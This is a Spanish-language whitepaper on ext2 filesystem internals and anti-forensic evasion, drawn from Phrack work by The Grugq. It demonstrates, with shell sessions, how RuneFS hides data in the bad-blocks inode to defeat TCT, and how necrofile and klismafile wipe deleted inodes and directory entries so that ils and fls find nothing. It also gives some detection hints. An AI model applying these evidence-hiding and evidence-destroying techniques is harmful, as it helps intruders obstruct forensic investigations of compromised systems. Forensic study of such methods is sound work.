- s_log_block_size - Tamaño del bloque. El valor se almacena de forma desplazada. El valor a desplazar es 1024, por lo tanto para obtener el tamaño del bloque real debemos utilizar la fórmula: bs = 1024 << sb.s_log_block_size;
- s_log_frag_size - Tamaño del fragmento. Este valor se almacena de forma desplazada. Fragmentos no se utilizan en ext2fs por lo tanto el valor de este registro se ignora.
- s_blocks_per_group - Número bloques en un grupo.
- s_frags_per_group - Número de fragmentos en el grupo.
- s_inodes_per_group - Número de inodes en el grupo.
- s_mtime - Última fecha de montura del sistema de ficheros.
- s_wtime - La fecha de última escritura en el sistema de ficheros.
- s_mnt_count - Número de veces el sistema de ficheros fue montada.
- s_max_mnt_count - Número máximo de veces un sistema de ficheros puede ser montada antes de realizar un fsck. El valor por defecto es 20.
- s_magic - Número mágico del sistema de ficheros: 0xEF53.
- s_state - Estado del sistema de ficheros, puede ser clean o dirty. Los siguientes son los flags:

```
#define EXT2_VALID_FS 0x0001 /* Desmontado correctamente */
#define EXT2_ERROR_FS 0x0002 /* Errores detectados */
```

- s_errors - Cuando un error se detecta el comportamiento a tener en cuenta. Los siguientes son los valores:

```
#define EXT2_ERRORS_CONTINUE 1 /* Continuar ejecución */
#define EXT2_ERRORS_RO 2 /* Remontar el sistema de ficheros en solo lectura */
```

```
#define EXT2_ERRORS_PANIC 3 /* Generar Pánico */
#define EXT2_ERRORS_DEFAULT EXT2_ERRORS_CONTINUE
```

- s_minor_rev_level - Número menor de la revisión de la revisión ext2fs. El valor puede ser ignorado perfectamente.
- s_lastcheck - La fecha de la última verificación del sistema de ficheros fsck, almacenada en formato estandarizado de Unix.
- s_checkinterval - Periodo máximo de tiempo entre verificaciones de fsck. El sistema de ficheros tiene que ser verificada si el valor de este registro o del s_max_mnt_count se ha excedido.
- s_creator_os - El sistema operativo creador del sistema de ficheros. Los valores pueden ser los siguientes:

```
#define EXT2_OS_LINUX 0
#define EXT2_OS_HURD 1
#define EXT2_OS_MASIX 2
#define EXT2_OS_FREEBSD 3
#define EXT2_OS_LITES 4
```

- s_rev_level - Revisión del sistema de ficheros. La única diferencia en valores tiene que ver con el tamaño de inodes. La versión actual de ext2 utiliza el tamaño de 128 bytes de inode. Los siguientes son los valores válidos para el registro:

```
#define EXT2_GOOD_OLD_REV 0 /* Formato original */
#define EXT2_DYNAMIC_REV 1 /* Formato V2 con tamaño de inodes dinámico */
#define EXT2_CURRENT_REV EXT2_GOOD_OLD_REV
```

- s_def_resuid - UID por defecto de los bloques reservados. El valor por defecto es 0.
- s_def_resgid - GID por defecto para bloques reservados. El valor por defecto es 0.
- s_first_ino - El primer inode no reservado. Inodes menores de 10 están reservados, entonces el primer número inode válido es 11. Casi siempre el inode está asociado con la entrada "lost+found".
- s_inode_size - Tamaño del inode. El tamaño actual es 128 bytes.
- s_block_group_nr - El grupo de bloque dónde se almacena el superblock.
- s_feature_compat - Valores de carácteristicas soportadas por ext2fs. Los siguientes son los valores:

```
#define EXT2_FEATURE_COMPAT_DIR_PREALLOC 0x0001
```

- s_feature_incompat - Valores de carácteristicas no soportadas. Las siguientes son las incompatibilidades aceptadas.

```
#define EXT2_FEATURE_INCOMPAT_COMPRESSION 0x0001
```

```
#define EXT2_FEATURE_INCOMPAT_FILETYPE 0x0002
```

- s_feature_ro_compat - Valores de compatibilidad soportadas en modo solo lectura. Los siguientes son los valores posibles:

```
#define EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER 0x0001
#define EXT2_FEATURE_RO_COMPAT_LARGE_FILE 0x0002
#define EXT2_FEATURE_RO_COMPAT_BTREE_DIR 0x0004
```

- s_uuid - ID único de éste sistema de ficheros particular de tipo ext2fs.
- s_volume_name - Nombre del volumen. Este registro no tiene mucha importancia.
- s_last_mounted - El punto de montura que fue utilizado la última vez que el sistema de ficheros fue montado.
- s_algorithm_usage_bitmap - No dispongo de datos del uso de este registro, pero no presenta ningún interes en nuestro whitepaper.
- s_prealloc_blocks - Número de bloques a intentar reservar para un fichero.
- s_prealloc_dir_blocks - Número de bloques a intentar reservar para un fichero de directorio.
- s_padding1 - Padding.
- s_reserverd[] - Padding para rellenar el superblock de más de 1024 bytes.

Grupos- Grupos Ext2fs se utilizan para organizar los clusters de bloques y inodes. Cada uno de los grupos contiene un bitmap libre de inodes y un inode libre. De forma adicional cada grupo tiene una copia del superblock para ayudar en la prevensión de la pérdida de datos. Descriptores de grupos están almacenados en el bloque después del super block, y luego a continuación están los bitmaps y tablas de inodes. Luego vienen los bloques de datos.

El formato de los descriptores del grupo son siguientes:

```
struct ext2_group_desc
{
__u32 bg_block_bitmap; /* Bloque del bloque bitmap */
__u32 bg_inode_bitmap; /* Inodes del bloque bitmap */
__u32 bg_inode_table; /* Bloque de tablas inode */
__u16 bg_free_blocks_count; /* Contador de libres bloques */
__u16 bg_free_inodes_count; /* Contador de libres inodes */
__u16 bg_used_dirs_count; /* Contador de directorios */
__u16 bg_pad;
__u32 bg_reserved[3];
};
```

- bg_block_bitmap - Puntero del bloque que lleva al bitmap. Los bits en el bitmap sirven para indicar si está ocupado o libre.
- bg_inode_bitmap - Puntero del bloque que lleva al bitmap de los inodes. Los bits en el bitmap sirven para indicar si está ocupado o libre.

- bg_inode_table - Puntero del bloque que lleva al inicio de la tabla de los inodes.
- bg_free_blocks_count - El número de bloques dentro del grupo que están disponibles para el uso.
- bg_free_inodes_count - El número de inodes dentro del grupo disponibles para el uso.
- bg_used_dirs_count - El número de inodes del grupo utilizados para ficheros de directorio.
- bg_pad - Padding.
- pg_reserved[] - Padding.

Directorios - Directorios se utilizan para organizar ficheros a nivel del sistema operativo. El contenido del fichero de directorio es un array de estructuras de directorios. Cada fichero de directorio contiene el nombre del fichero dentro del mismo directorio y el inodel del fichero.
El formato de entradas de directorios en ext2 es el siguiente:

```
---------------------------------------------------------------------------
  struct ext2_dir_entry_2 {
                        __u32 inode; /* Número Inode */
                        __u16 rec_len; /* Tamaño de la entrada */
                        __u8 name_len; /* Tamaño del nombre */
                        __u8 file_type;
                        char name[EXT2_NAME_LEN]; /* Nombre del fichero */
  };
---------------------------------------------------------------------------
```

- inode - El número inode del fichero dentro del directorio. Si el fichero ha sido eliminado, el número inode debe ser 0.
- rec_len - El tamaño de la entrada de directorio. Como el nombre puede ser cualquier cadena de más de 255 bytes, eso permite un uso de espacio más eficiente en el fichero de directorio.
- name_len - El tamaño del nombre del fichero. Puede ser hasta 255 bytes.
- file_type - El tipo de fichero, por ejemplo symlink, dispositivo, etc... Los siguientes son los valores válidos:

```
----------------------------------
  #define EXT2_FT_UNKNOWN 0
  #define EXT2_FT_REG_FILE 1
  #define EXT2_FT_DIR 2
  #define EXT2_FT_CHRDEV 3
  #define EXT2_FT_BLKDEV 4
  #define EXT2_FT_FIFO 5
  #define EXT2_FT_SOCK 6
  #define EXT2_FT_SYMLINK 7
----------------------------------
```

Eso concluye la descripción del nivel físico del sistema de ficheros ext2fs.

d. Técnicas de Evasión

En el capítulo anterior se trataron los conceptos básicos de análisis forense y también se hizo una mención indirecta de algunos métodos de subversión del análisis, mientras que, de aquí para adelante, nos centraremos en el tema de evasión forense.

Evasión forense es un intento de mitigar la cantidad y calidad de información un investigador puede encontrar. Cada uno de los pasos del análisis puede ser explotado y subvertido. Este white paper se centra principalmente en la subversión de la fase de recolección de datos del sistema de ficheros durante la investigación.

Los mecanismos principales para alcanzar este objetivo son: técnicas de destrucción (1) y ocultación (2) de datos. A lo largo del white paper se hará referencia a la explotación de algunas vulnerabilidades del proceso de análisis y recolección de datos.

El estudio forense es extremadamente vulnerable a subversión cuando la información, en su estado básico (raw data image), se convierte en pruebas (por ejemplo emails). Cada paso de la conversión es vulnerable por la complejidad y procesos abstractos que se realizan sobre los datos. Cuando se trabaja con los datos cualquier despiste puede resultar en pérdida de detalles y los detalles en realidad son las partes más importantes del rompecabezas. Cuando los detalles desaparecen, se crean vacíos importantes que pueden ser explotados. El despiste no es la única fuente de errores, sino también los fallos en las herramientas forenses frecuentemente utilizadas. Bugs en las implementaciones de estas herramientas proporcionan mejores oportunidades de explotación para agentes evasivos.

Pocas cosas pueden ser hechas de forma remota por un agente evasivo a fin de prevenir que el sistema de ficheros se salve, asimismo nos centraremos en la siguiente fase del análisis forense - prevención de recogida de pruebas del sistema de ficheros. Se puede frenar la recogida de información a través de destrucción o ocultación de la misma. De estos dos mecanismos la destrucción de datos es la más fiable ya que no deja ninguna pista el investigador puede recoger y analizar. Esta técnica proporciona medios para la eliminación segura de huellas y pruebas existentes para cubrirse las huellas del atacante de forma más efectiva.

Ocultación de información sólo es efectiva cuando el analista no sabe dónde buscarla, siendo la integridad del medio de almacenamiento imposible de garantizar a largo plazo. Por esa razón, la ocultación de datos debe ser combinada con ataques a las fases de estudio de datos recogidos (por ejemplo formatos propietarios de ficheros) y de examen (por ejemplo cifrado). Técnicas de ocultación son útiles en caso de que los datos se tengan que guardar durante un periodo esencial de tiempo (por ejemplo fotos artísticas de señoritas posando).

Los dos toolkits incluidos en la siguiente sección del white paper proporcionan una demostración de las dos técnicas de evasión forense: destrucción de datos y ocultación. Utilizaremos estos toolkits para dar ejemplos detallados de destrucción y ocultación de datos a continuación. La primera técnica que examinaremos en detalle es la ocultación.

e. Herramientas Evasivas

Aquellos hackers con conocimientos superiores que rozan la frontera de imaginación de los wannabes no dejan nada a la suerte y gracias a ellos han empezado existir series de herramientas de evasión o de encubrimiento de huellas. Si nos hubieran dicho por los años 1999 que aparte del zapper clásico existían herramientas que permitían borrar el rastro o por lo menos hacerlo tan confuso para el investigador, nos sorprenderíamos, pero no tanto como se sorprenden cada día miles de administradores de servidores cuando saben que hubo compromiso pero no encuentran huellas con las más avanzadas técnicas de investigación. En esta sección del whitepaper hablaremos sobre las herramientas más avanzadas y secretas que existen para encubrir huellas y daremos pistas de como detectar su uso.

f. RuneFS Tool

Una de las herramientas más comúnes para el análisis forense del sistema de ficheros Unix es "The Coroner's Toolkit" desarrollada por Dan Farmer y Wietse Venema. A pesar de ser casí la única aplicación en la que han confiado los analistas forenses durante años, la herramienta podría ser mejorada a lo largo de años y los fallos que ocurrían en las primeras versiones siguien produciendose hoy en día. El sistema de ficheros más utilizada de Unix tiene un error que permite al atacante almacenar datos aleatorios en ubicaciones que TCT no puede ni localizar ni examinar.

El TCT falla a la hora de recrear las especificaciones de sistema de ficheros a la hora de analizar implementaciones de Berkley Fast File System (FFS o UFS), y Second Extended File system (ext2fs). El fallo consiste en asumir que ningún bloque de datos puede ser asignado al inode antes del root inode, fallando también a tener en cuenta los inodes de los bloques dañados.

Historicamente, el inode de bloques dañados fue utilizado para referenciar bloques que contienen sectores dañados en el disco duro, previniendo que estos bloques estén utilizados por el sistema operativo. El FFS dejó de utilizar este método, lo que evita la explotación de este error, pero ext2fs siguie utilizando la misma técnica de marcación.

La realización del ataque de ocultación al sistema de ficheros significa para un intruso la manipulación del sistema de ficheros dentro de las especificaciones implementadas de la herramienta de verificación de integridad del FS: fsck. Sería de interés saber que pocos investigadores han pensado en utilizar un fsck para detectarlo y intrusos incautos pueden haber sobrepasado el marco de seguridad de las especificaciones.

La versión de esa herramienta diseñada para funcionar con el sistema de ficheros ext2 todavía utiliza los inodes de bloques dañados para estos sectores en el disco, por lo tanto las especificaciones permiten tener un número ilimitado de bloques dañados, y este hecho no levanta sospechas a la hora de realizar un chequeo del disco. Desgraciadamente la parte del código de reconocimiento del sistema de ficheros en TCT no realiza verificación del inode de bloques dañados ya que no lo considera de interés alguno. El código de TCT así como de TASK realiza la siguiente verificación errónea:

```
/*
```

```
 * Verificación de integridad
 */

 if (inum < EXT2_ROOT_INO || inum > ext2fs->fs.s_inodes_count)
         error("invalid inode number: %lu", (ULONG) inum);
```

El primer inode que puede ser reservado en un sistema de ficheros ext2 es de hecho el inode de bloques dañados (inode 1) y no el inode de raíz (inode 2). Por razones de fallos en implementación es posible almacenar información en bloques marcados como bloques dañados, es decir referenciados por el inode de bloques dañados. Usando esa técnica se puede almacenar allí la información y tenerla oculta de cualquier analista que usa herramientas como TCT o TASK. Para ilustrar la gravedad de este tipo de ataques a continuación están algunos ejemplos que muestran como crear un espacio oculto, copiar allí la información y sacarla de allí cuando se necesite (ver también el código de la aplicación RuneFS adjunto).

Ejemplo de creación de espacio oculto:

```
# df -k /dev/hda6
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda6 1011928 20 960504 1% /mnt



# ./bin/mkrune -v /dev/hda6
+++ bb_blk +++
  bb_blk->start = 33275
  bb_blk->end = 65535
  bb_blk->group = 1
  bb_blk->size = 32261
+++
rune size: 126M
# df -k /dev/hda6
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda6 1011928 129196 831328 14% /mnt
# e2fsck -f /dev/hda6
e2fsck 1.26 (3-Feb-2002)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/hda6: 11/128768 files (0.0% non-contiguous), 36349/257032 blocks
#
```

Este ejemplo demuestra la reserva de 126 mb. para el espacio oculto en el disco duro, demostrando que la pérdida de este espacio se queda registrada por el núcleo. Es evidente que el espacio oculto no viola las especificaciones ext2, por lo tanto fsck no se queja.

Ejemplo de uso del espacio oculto:

```
# cat readme.tools | ./bin/runewr /dev/hda6
# ./bin/runerd /dev/hda6 > f
# diff f readme.tools
#
```

Este segundo ejemplo muestra como datos pueden ser insertados y extraídos del espacio de almacenamiento oculto sin pérdida de datos. Mientras que este ejemplo no entra en detalle de técnicas de almacenamiento en el espacio oculto, es suficiente para presentar el uso de RuneFS.

Ejemplo de mala implementación de reconocimiento de sistema de ficheros ext2fs.

```
# ./icat /dev/hda6 1
/icat: invalid inode number: 1
#
```

Este ultimo ejemplo ilustra como un analista forense es incapaz de localizar el almacenamiento oculto con herramientas TCT. Es evidente que pueden haber muchos problemas cuando se examina el sistema de ficheros con herramientas con fallos.

Aunque los últimos ejemplos son realimente asombrosos, existen ciertos problemas con RuneFS. Esa versión de RuneFS que viene a continuación es bastante anticuada; The Grugq, el redactor del Phrack en que me baso para cumplimentar mi white paper, la ha escrito en Noviembre del año 2000. La versión actual de RuneFS tiene soporte para reserva de espacio dinámica, soporta cifrado y estructura de directorios y puede llegar a ser hasta 2 Gb. Afortunadamente el software de The Grugq es privado y no se distribuye al público.

Al fin y al cabo el uso la última versión de RuneFS tiene una mayor desventaja ya que el secreto y la técnica de implementación ya es de dominio público (obviamente, por el número de lectores Phrack, y espero de éste artículo). Esta desventaja subraya que técnicas de ocultación de datos se encuentran bastante anticuadas y no serán útiles si el analista sabe dónde buscar la información. La ocultación sólo puede ser utilizada en combinación con métodos de ofuscación y/o cifrado de datos.

f1. The Defilers Toolkit

El sistema de ficheros (supuestamente) contiene el seguimiento completo de operaciones de entrada y salida de datos del equipo. El analista forense involucrado en la investigación intenta extraer esa información para examinarla.

Aparte de las dificultades impuestas por los fallos en las implementaciones de herramientas forenses comúnmente utilizadas, el analista lo tendrá mucho más difícil todavía extrayendo la información del sistema de ficheros en caso de que simplemente no esté allí.

Esta sección cubrirá técnicas y herramientas utilizadas por los intrusos para eliminar cualquier evidencia de compromiso en el sistema de ficheros. Estas metodologías han sido

reunidas en la aplicación "The Defiler's Toolkit (TDT)" que puede ser descargada al final del artículo.

La mayor complicación con la reunión de pruebas es que deben estar allí para recogerlas. Los datos no existentes, obviamente, no pueden ser recogidos, siendo por lo tanto imposible sin estos datos seguir con la investigación.

La limpieza del sistema de ficheros es una de las prácticas de evasión utilizadas por los intrusos con un nivel alto de conocimientos. El resultado de la aplicación de ésta metodología resulta en la eliminación definitiva de las pruebas de borrado de ficheros existidos anteriormente. The Defiler's Toolkit proporciona herramientas para eliminar huellas del sistema de ficheros con precisión quirúrgica, erradicando de forma selectiva la información que puede ser utilizada posiblemente como prueba. Utilizando este juego de herramientas el intruso puede frustrar desde el principio toda la investigación.

Dentro del sistema de ficheros Unix todos los siguientes elementos pueden contener pruebas de las actividades del intruso:

- Inodes
- Entradas de Directorio
- Bloques de Datos

Desgraciadamente las herramientas más avanzadas de eliminación de datos borran solo el contenido de bloques de datos, dejando intactos las entradas de directorio y inodes. Junto con este white-paper viene una versión del toolkit capaz de realizar una limpieza selectiva del disco duro. TDT consiste de dos aplicaciones: *necrofile* y *klismafile* que conjuntamente hacen un trabajo perfecto de eliminación segura de existencia de fichero. El objetivo de cada una de esas aplicaciones será descrito de forma individual a continuación.

f1.1 Necrofile Tool

Necrofile es una herramienta de detección y eliminación segura de inodes "borrados". La aplicación puede ser utilizada para:

- Localizar a todos los inodes que cumplen con un criterio de fecha de eliminación.
- Realizar una limpieza exhaustiva dejando los inodes limpios.

Los inodes "vírgenes" no proporcionan ninguna información al investigador sobre la existencia o borrado del fichero manipulado por el intruso.

Necrofile también incluye la funcionalidad de erradicar de forma segura el contenido de los bloques de datos a los que hace referencia el inode. Sin embargo, en este momento no es conveniente utilizar esa funcionalidad por los conflictos con los procesos de lectura y escritura del disco controlados por el núcleo.

Al ejecutar la aplicación se le debe proporcionar un sistema de ficheros donde realizar la búsqueda y informar de como se debe proceder con los inodes "borrados" localizados en la partición. Necrofile verifica de forma reiterada todos los inodes del sistema de ficheros especificada y verificando el estado de cada uno de ellos. En caso de que la aplicación haya sido arrancada con la opción de limpieza Necrofile limpia el inode "borrado" y lo inserta en la tabla de inodes en su estado virgen.

Ejemplo de localización de inodes borrados utilizando TCT:

```
# ./ils /dev/hda6
class|host|device|start_time
ils|XXX|/dev/hda6|1026771982
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\
st_nlink|st_size|st_block0|st_block1
12|f|0|0|1026771841|1026771796|1026771958|1026771958|100644|0|86|545|0
13|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|546|0
14|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|547|0
15|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|548|0
16|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|549|0
17|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|550|0
18|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|551|0
19|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|552|0
20|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|553|0
21|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|554|0
22|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|555|0
23|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|556|0
24|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|557|0
25|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|558|0
26|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|559|0
27|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|560|0
28|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|561|0
29|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|562|0
30|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|563|0
31|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|564|0
32|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|565|0
33|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|566|0
34|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|567|0
35|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|568|0
36|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|569|0
37|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|570|0
#
```

Ejemplo de utilización de Necrofile para localizar y limpiar los inodes borrados.

```
# ./necrofile -v -v -v -v /dev/hda6
Scrubbing device: /dev/hda6
12 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
13 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
14 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
```

```
15 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
16 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
17 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
18 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
19 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
20 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
21 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
22 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
23 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
24 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
25 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
26 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
27 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
28 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
29 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
30 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
31 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
32 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
33 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
34 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
35 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
36 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
37 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
#
```

Ejemplo de como TCT no es capaz de localizar ningún inode borrado:

```
# ./ils /dev/hda6
class|host|device|start_time
ils|XXX|/dev/hda6|1026772140
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\
st_nlink|st_size|st_block0|st_block1
#
```

Se necesita poco comentario para acompañar los ejemplos. La utilidad "ils" que forma parte de TCT muestra los inodes borrados para su posible recuperación.

Necrofile se ejecuta en el modo más detallado soportado por la aplicación, para demostrar como se localiza y limpia los mismos inodes encontrados por ils.

El uso de esta herramienta puede ser más efectivo si se utiliza para eliminar las huellas dejadas en los periodos determinados de tiempo, de esta manera los forenses tienen dificultades detectando la limpieza intencionada de los inodes.

En caso de que Necrofile se utilice para limpiar todos los inodes "borrados" del disco y el forense encuentre que no hay ningún inode "borrado" se confirmará su sospecha del compromiso y eliminación intencionada de pruebas por un hacker.

Después de que los inodes "borrados" hayan sido convertidos en inodes "vírgenes" ils no es capaz de localizarles.

Una vez los meta-datos que forman parte del inode han sido limpiados con éxito el intruso procede a barrer sus huellas en otros lugares del sistema de ficheros - las entradas de directorios.

f1.2 Klismafile Tool

Klismafile permite borrar de forma segura las entradas de directorio borradas. Cuando el nombre del fichero o el enlace inode se termina, el contenido de la entrada de directorio no se sobrescribe, sino se añade al espacio de la entrada precedente. Klismafile realizará una búsqueda en el fichero de directorio para localizar las entradas eliminadas y las sobrescribirá. Las expresiones regulares pueden ser utilizadas para limitar el número de entradas quitadas.

Para ejecutar la herramienta se debe proporcionarla con un directorio dónde realizar la búsqueda, y también puede realizar búsqueda recursiva en todos los directorios que encuentre.

Klismafile intentará localizar dirents eliminados y una vez encontrados los comparará con la expresión regular 'file_name' proporcionada como argumento del programa. Por defecto el 'file_name' es '*'. La utilidad sobrescribirá los dirents que coinciden con la expresión regular con ceros.

Klismafile no es una herramienta totalmente segura, y puede ser detectada su utilización observando que la entrada del directorio precedente al eliminado tiene el campo rec_len mayor de lo que debería ser, por lo tanto se puede asumir que herramientas como Klismafile o similares han manipulado el contenido del fichero de directorio. Actualmente no existen herramientas para realizar esa detección de forma automática, pero no tardarán en aparecer.

Ejemplo: la utilidad fls proporciona el listado de entradas de directorio.

```
# ./fls -d /dev/hda6 2
  ? * 0: a
  ? * 0: b
  ? * 0: c
  ? * 0: d
  ? * 0: e
  ? * 0: f
  ? * 0: g
  ? * 0: h
  ? * 0: i
  ? * 0: j
  ? * 0: k
  ? * 0: l
  ? * 0: m
  ? * 0: n
  ? * 0: o
  ? * 0: p
  ? * 0: q
  ? * 0: r
```

? * 0: s

? * 0: t

? * 0: u

? * 0: v

? * 0: w

? * 0: x

? * 0: y

? * 0: z

#

Ejemplo de como Klismafile realiza la limpieza.

./klismafile -v /mnt

Scrubbing device: /dev/hda6

cleansing /

-> a

-> b

-> c

-> d

-> e

-> f

-> g

-> h

-> i

-> j

-> k

-> l

-> m

-> n

-> o

-> p

-> q

-> r

-> s

-> t

-> u

-> v

-> w

-> x

-> y

-> z

Total files found: 29

Directories checked: 1

Dirents removed : 26

#

Ejemplo de como fls no es capaz de encontrar ninguna entrada.

./fls -d /dev/hda6 2

#

Estos ejemplos demuestran claramente que la utilidad 'fls' – una parte de la caja de herramientas TCT-UTILS, sirve para examinar los ficheros de directorios. En el primer ejemplo el uso de la utilidad devuelve el listado de entradas de directorio borradas en el directorio raíz del sistema de ficheros.

Klismafile se ejecuta en modo detallado, visualizando y sobrescribiendo cada entrada de directorio que encuentra. Una vez acabado el trabajo de sobrescritura, fls no es capaz de mostrar ninguna entrada eliminada en el fichero de directorio.

Aviso: El núcleo de linux 2.4.x utiliza la técnica de cacheo del fichero de directorios en la memoria, por lo tanto si el intruso no tiene cuidado a la hora de utilizar esta herramienta sus cambios pueden no haberse realizado en la versión física del fichero sino sólo en la memoria (una razón más para desenchufar el equipo y no apagarlo de forma correcta).

Referencias

[0] Análisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad de Washington.

[1] RootKit - Un "rootkit" es un conjunto de herramientas que: garantizan el acceso posterior al sistema, facilitan el potencial acceso a otros servidores, facilitan el borrado de huellas del atacador, intentan esconder al atacante de los usuarios legítimos del sistema.

[2] Ataque de Limpieza - Es un tipo de ataque informático local o remoto cuyo objetivo es la eliminación de las pruebas de compromiso anterior. El resultado de este tipo de ataques puede ser un destrozo de información en un equipo anteriormente comprometido o de un forense informático. El atacante intenta llevar acabo un borrado de información masivo, utilizando las técnicas de eliminación de información por sobre escritura si se trata de un ataque remoto y/o deformación magnética y des-magnetización de medios si se trata de un ataque local.

[3] UPX - Ultimate Packer for eXecutables (http://upx.sourceforge.net/). Una herramienta para comprimir el ejecutable a fin de reducir su tamaño.

[4] BurnEye - Una herramienta desarrollada por el grupo TESO (http://www.team-teso.net/) que utiliza las técnicas de inyección de código en ejecutables de tipo ELF. La aplicación ofrece 3 niveles de protección ofuscación de código, protección con contraseña, y "fingerprinting".

[5] BurnEye Nivel 1 - Para más información sobre el método de obtener el binario original de uno ofuscado vean http://www.activalink.com/reviews/elf.php y http://www.phrack.com/show.php?p=58.

[6] Burneye Nivel 2 - Para más información sobre métodos de ingeniería inversa de binarios protegidos con el nivel 2 de protección de BurnEye ver un caso práctico http://www.incidents.org/papers/ssh_exploit.pdf.

[7] Fenris - Un debugger popular y potente ya que interactúa con el sistema operativo y libc a un bajo nivel, sin utilizar las llamadas ptrace(); ver http://razor.bindview.com/tools/fenris/.

[8] Elfe - Lightweight Elf Encryptor (http://stealth.7350.org/) Una herramienta desarrollada por Stealth del grupo TESO que utiliza técnicas de inyección de un motor de cifrado dentro de un ejecutable. La aplicación protege la ejecución de un binario por una contraseña. Éste método de protección de ejecutables es menos fiable que 2º y 3er nivel de BurnEye.

[9] Phrack - The Grugq ha escrito un buen white paper sobre el tema de protección "run-time" de binarios que incluye más información sobre el tema www.phrack.com/show.php?p=58&a=5.

[10] RootKit - Una colección de utilidades para permitir al intruso ocultar su actividad dentro de un sistema, facilitar el acceso en un futuro, y recoger información útil del sistema. Ver la versión actualizada de FAQ en Inglés sobre RootKits creada por Dave Dittrich de la universidad de Washington D.C. http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq.

[11] Biatchux - Es una distribución de linux portable sobre el CD-ROM que proporciona herramientas y un entorno seguro para realizar análisis forense, recuperación de datos, detección de virus y evaluación de vunerabilidades (http://biatchux.dmzs.com/).

[12] Thomas Rude - El autor de un artículo sobre la manera de realización de copias físicas de particiones y discos para el análisis forense (http://www.crazytrain.com/dd.html).

[13] The Coroner's Toolkit- Una colección de herramientas de un investigador forense. Utilidades escritas por Dan y Wietse (trabaja para IBM, y el autor de postfix). Las

utilidades incluidas en el kit proporcionan una ayuda substancial para el investigador (http://www.fish.com/tct/).

[14] Trinoo - Análisis de un ataque con una herramienta de DDoS (The DoS Project's "trinoo" distributed denial of service attack tool - http://staff.washington.edu/dittrich/misc/trinoo.analysis).

[15] Mstream - Análisis de un ataque con una herramienta de DDoS (The "mstream" distributed denial of service attack tool - http://staff.washington.edu/dittrich/misc/mstream.analysis.txt).

[16] Van Hauser - Lea el documento de Van Hauser sobre "Anonymizing Unix Systems" para la información de como pueden los hackers con experiencia complicar la sitiuación (http://www.thehackerschoice.com/papers/fw-backd.htm).

[17] Techniques of Crime Scene Investigation, por Barry A. J. Fisher, CRC Press, ISBN 0-8493-8119-3

